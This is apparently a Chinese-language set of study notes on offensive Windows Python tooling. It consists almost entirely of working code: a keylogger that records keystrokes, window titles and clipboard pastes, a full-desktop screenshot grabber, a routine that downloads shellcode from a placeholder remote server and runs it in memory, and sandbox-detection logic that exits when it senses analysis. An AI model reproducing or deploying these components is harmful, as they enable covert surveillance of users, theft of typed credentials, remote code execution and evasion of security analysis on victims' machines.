有趣的键盘记录

from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard


user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None


def get_current_process():

    # 获得目标桌面当前活动窗口的句柄
    hwnd = user32.GetForegroundWindow()

    # 获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd, byref(pid))

    # 保存当前进程ID
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer(b"\x00" * 512)

    # 打开进程,利用返回的进程句柄获得进程对应的可执行文件名
    h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

    psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)

    # 读取窗口标语
    window_title = create_string_buffer(b"\x00" * 512)

    # GetWindowTextA获得窗口标题栏显示的文本字符
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)

    # 输出进程相关信息
    print("\n[ PID: %s - %s - %s ]\n" % (process_id, executable.value.decode(encoding='GB2312'), window_title.value.decode(encoding='GB2312')))

    # 关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


def KeyStroke(event):

    global current_window

    # 检测目标是否切换窗口,如果切换则重新获取当前窗口名字和进程信息
    if event.WindowName != current_window:

        current_window = event.WindowName
        get_current_process()

    # 检测按键是否在可输出的ASCII码范围内,如果修饰键或其他非标准按键则提取按键名称
    if 32 < event.Ascii < 127:

        print(chr(event.Ascii), end="")
    else:
        # 输入为[Ctrl-V],获取剪辑板内容
        if event.Key == 'V':

            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()

            print("[PASTE] - %s" % pasted_value)
        else:
            print("[%s]" % event.Key)

    # 返回True来允许执行消息队列中的下一个Hook事件
    return True


# 创建和注册钩子函数管理器
k1 = pyHook.HookManager()
# 将函数KeyDown与KeyStroke进行绑定
k1.KeyDown = KeyStroke

# 注册键盘记录的钩子之后永久执行
# pyHook钩住所有按键事件,当目标按下键盘时KeyStroke就会被调用,其唯一的参数是触发这个事件的对象
k1.HookKeyboard()
pythoncom.PumpMessages(1000)

截取屏幕快照

import win32gui
import win32ui
import win32api
import win32con


# 获取桌面窗口句柄,其包含所有可显示区域,即使区域可能分布在多个显示屏
hdesktop = win32gui.GetDesktopWindow()

# 获得所有显示屏像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# GetWindowDC创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建基于内存的设备描述表用来存储捕获到的图片
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)

# SelectObject将基于内存的设备描述表指向捕获的位图对象
mem_dc.SelectObject(screenshot)

# BitBlt将屏幕截图按比特复制到内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将二进制位图保存到磁盘文件
screenshot.SaveBitmapFile(mem_dc, "screenshot.bmp")

# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

Python方式的shellcode执行

import urllib.request
import ctypes
import base64


# 从Web服务器上下载shellcode
url = "http://xxx.xxx.xx.xxx/shellcode.bin"
response = urllib.request.urlopen(url)

# base64解码shellcode
shellcode = base64.b64decode(response.read())

# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))

# cast在shellcode缓冲区内存空间中建立函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))

# 执行shellcode
shellcode_func()

暂时不懂Windows shellcode,日后解决

沙盒检测

import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

# 统计键盘按键,鼠标单双击总数
keystrokes = 0
mouse_clicks = 0
double_clicks = 0


# LASTINPUTINFO结构体用来保存系统监测到的最后输入事件的时间戳(毫秒)
class LASTINPUTINFO(ctypes.Structure):
    _fields_ = [
        ("cbSize", ctypes.c_uint),
        ("dwTime", ctypes.c_ulong)
    ]


def get_last_input():
    struct_lastinputinfo = LASTINPUTINFO()
    # 初始化cbSize变量,设置为结构体大小
    struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

    # GetLastInputInfo将用户最后输入事件的事件的时间填充到dwTime
    # GetLastInputInfo获取最后用户输入的相关信息
    user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

    # GetTickCount获得机器开机以来运行的时间
    run_time = kernel32.GetTickCount()

    elapsed = run_time - struct_lastinputinfo.dwTime

    print("[*] It's been %d milliseconds since the last input events." % elapsed)

    return elapsed


# 测试后删除下面代码,这只是测试上面代码能否运行成功
# while True:
#     get_last_input()
#     time.sleep(1)


def get_key_press():
    global mouse_clicks
    global keystrokes

    for i in range(0, 0xff):

        # GetAsyncKeyState对每个键进行检测确保被按下
        if user32.GetAsyncKeyState(i) == -32767:

            # 左键点击键值为0x1
            if i == 0x1:
                mouse_clicks += 1
                return time.time()
            elif 32 < i < 127:
                keystrokes += 1

    return None


def detect_sandbox():
    global mouse_clicks
    global keystrokes

    max_keystrokes = random.randint(10, 25)
    max_mouse_clicks = random.randint(5, 25)

    double_clicks = 0
    max_double_clicks = 10
    double_clicks_threshold = 0.250  # 秒
    first_double_click = None

    average_mousetime = 0
    max_input_threshold = 30000  # 毫秒

    previous_timestamp = None
    detection_complete = False

    last_input = get_last_input()

    # 超过设定阈值即用户最后一次输入距现在时长,强制退出
    if last_input >= max_input_threshold:
        sys.exit(0)

    while not detection_complete:

        keypress_time = get_key_press()

        if keypress_time is not None and previous_timestamp is not None:

            # 计算两次点击相隔事件
            elapsed = keypress_time - previous_timestamp

            # 间隔短则为双击事件
            if elapsed < double_clicks_threshold:
                double_clicks += 1

                if first_double_click is None:

                    # 获取第一次双击事件时间
                    first_double_click = time.time()
                else:

                    # 尝试判断沙盒管理员是否在沙盒中模拟点击事件仿造正常用户
                    if double_clicks == max_double_clicks:
                        # 短时间内鼠标点击达到了我们设定的最大值(最大次数*双击间隔),强行退出
                        if keypress_time - first_double_click <= max_double_clicks * double_clicks_threshold:
                            sys.exit(0)

            # 如果达到数量上限就退出函数
            if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks:
                return

            previous_timestamp = keypress_time
        elif keypress_time is not None:
            previous_timestamp = keypress_time


detect_sandbox()